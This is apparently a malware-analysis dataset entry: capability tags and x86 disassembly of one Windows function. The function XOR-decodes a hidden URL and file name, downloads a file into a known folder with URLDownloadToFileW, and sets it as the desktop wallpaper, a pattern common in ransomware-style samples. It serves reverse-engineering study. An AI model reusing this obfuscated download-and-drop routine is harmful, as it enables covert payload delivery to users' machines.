Function at 0x40b370
Capabilities:
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ce98
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1e8
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x5b
lea edi, [ebp - 0x1f8]
mov esi, str.YFGDF_f
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x410470]
xor ecx, ecx
cmp edi, 2
jl 0x40b4f0
movaps xmm4, xmmword [0x40ddd0]
movaps xmm3, xmmword [0x40de70]
movaps xmm5, xmmword [0x40ddf0]
movaps xmm6, xmmword [0x40de20]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1f8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x1f8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x1f0]
xorps xmm1, xmm0
movq qword [ebp + ecx*2 - 0x1f0], xmm1
add ecx, 8
cmp ecx, 0xb0
jl 0x40b3f0
cmp ecx, 0xb6
jge 0x40b527
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax*8]
sub edx, eax
mov eax, ecx
shl edx, 3
sub eax, edx
add eax, 0x31
xor word [ebp + ecx*2 - 0x1f8], ax
inc ecx
cmp ecx, 0xb6
jl 0x40b4f0
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040b910
lea eax, [ebp - 0x48]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x40d290
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jns 0x40b55e
mov esi, 1
jmp 0x40b850
movups xmm0, xmmword [str.mFVYE]
mov eax, dword [0x40dbe4]
xor esi, esi
mov dword [ebp - 0x54], eax
mov ax, word [0x40dbe8]
mov word [ebp - 0x50], ax
movups xmmword [ebp - 0x6c], xmm0
movq xmm0, qword [0x40dbdc]
movq qword [ebp - 0x5c], xmm0
cmp edi, 2
jl 0x40b680
movaps xmm2, xmmword [0x40ddd0]
mov eax, str.mFVYE
movaps xmm3, xmmword [0x40de70]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movaps xmm5, xmmword [0x40de20]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddf0]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x40dde0]
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x6c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddf0]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x64]
xorps xmm1, xmm0
movq qword [ebp - 0x64], xmm1
nop dword [eax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x31
xor word [ebp + esi*2 - 0x6c], ax
inc esi
cmp esi, 0xf
jl 0x40b680
push dword [ebp - 0x48]
lea ecx, [ebp - 0x84]
call fcn.0040b910
mov esi, eax
lea edx, [ebp - 0x6c]
mov byte [ebp - 4], 1
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40b6d0
mov eax, dword [esi + 0x14]
sub edx, ecx
mov ecx, dword [esi + 0x10]
sub eax, ecx
sar edx, 1
cmp edx, eax
ja 0x40b71d
cmp dword [esi + 0x14], 7
lea eax, [ecx + edx]
mov dword [ebp - 0x4c], eax
mov edi, esi
mov dword [esi + 0x10], eax
jbe 0x40b6fe
mov edi, dword [esi]
lea eax, [edx + edx]
push eax
lea eax, [ebp - 0x6c]
lea ecx, [edi + ecx*2]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x4c]
add esp, 0xc
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x40b72f
push edx
lea eax, [ebp - 0x6c]
mov ecx, esi
push eax
push dword [ebp - 0x4c]
push edx
call fcn.0040ba30
mov esi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
xor eax, eax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x70]
cmp ecx, 7
jbe 0x40b7a7
mov edx, dword [ebp - 0x84]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b79d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b79d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040bbef
add esp, 8
cmp dword [ebp - 0x18], 7
lea ecx, [ebp - 0x2c]
push 0
cmova ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 7
push 0
cmova eax, dword [ebp - 0x44]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x40b7eb
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
push 1
cmova eax, dword [ebp - 0x2c]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x40b7fb
push dword [ebp - 0x48]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov esi, 1
jmp 0x40b806
push dword [ebp - 0x48]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor esi, esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x40b83c
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b832
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b87c
push ecx
push edx
call fcn.0040bbef
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x40b88c
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b882
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b882
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040bbef
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040bba7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret